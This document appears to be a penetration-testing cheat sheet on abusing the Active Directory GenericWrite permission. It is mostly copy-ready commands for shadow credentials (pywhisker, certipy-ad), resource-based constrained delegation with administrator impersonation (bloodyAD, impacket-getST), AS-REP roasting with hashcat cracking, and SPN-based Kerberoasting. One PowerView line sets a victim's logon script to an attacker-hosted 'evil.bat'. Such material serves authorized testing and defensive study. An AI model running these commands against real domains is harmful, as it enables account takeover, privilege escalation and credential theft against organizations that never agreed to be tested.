GenericWrite — AD Permission Abuse
Ctrl+F:
GenericWrite·shadow credentials·RBCD·SPN
External: Internal All The Things — RBCD
GenericWrite lets you modify most attributes on an object — not full control like GenericAll, but enough for several high-impact chains.
Owned User
│
GenericWrite
▼
Target User / ComputerYour first thought:
“Can I become this user or take over this computer?”
📌 Target → exploit chain
| Target | Abuse | Full walkthrough |
|---|---|---|
| User | Shadow Credentials → NT hash / TGT | Shadow Credentials - pywhisker |
| User | Shadow Credentials (Kali one-liner) | Certipy & Certify > 📌 Shadow Credentials (certipy-ad) |
| User | Add SPN → Kerberoast | Kerberoast (targetedKerberoast.py) · bloodyAD set SPN |
| User | DONT_REQ_PREAUTH → AS-REP roast | Kerberoast · Kerberos Scripts > GetNPUsers |
| Computer | RBCD → impersonate DA on host | bloodyAD > add rbcd · Kerberos Scripts getST |
Cannot reliably reset another user’s password with GenericWrite alone → use ForceChangePassword or GenericAll instead.
📌 Execute — Shadow Credentials (most common)
Full chain → Shadow Credentials - pywhisker
# pywhisker (GenericWrite on target user)
python3 pywhisker.py -d domain.htb -u attacker -p 'PASS' --target victim --action add
# Or Certipy
certipy-ad shadow auto -u attacker@domain.htb -p 'PASS' -dc-ip DC_IP -account victim📌 Execute — RBCD (computer target)
Full chain → bloodyAD > add rbcd — Resource-Based Constrained Delegation
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add computer EVIL$ 'Pass123!'
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add rbcd TARGET$ EVIL$
impacket-getST -spn cifs/TARGET.domain.htb -impersonate administrator \
-dc-ip DC_IP domain.htb/EVIL$:'Pass123!'📌 Execute — AS-REP roastable flag
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add uac victim -f DONT_REQ_PREAUTH
impacket-GetNPUsers domain.htb/victim -dc-ip DC_IP -no-pass
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt📌 Execute — Windows (PowerView)
# Add SPN → Kerberoast
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/domain.htb'}
# Logon script (older privesc)
Set-DomainObject -Identity victim -Set @{scriptpath='\\attacker\share\evil.bat'}📌 Quick cheat sheet
# Shadow creds
python3 pywhisker.py -d domain.htb -u user -p 'PASS' --target victim --action add
# RBCD
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add rbcd TARGET$ EVIL$
# AS-REP
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' add uac victim -f DONT_REQ_PREAUTH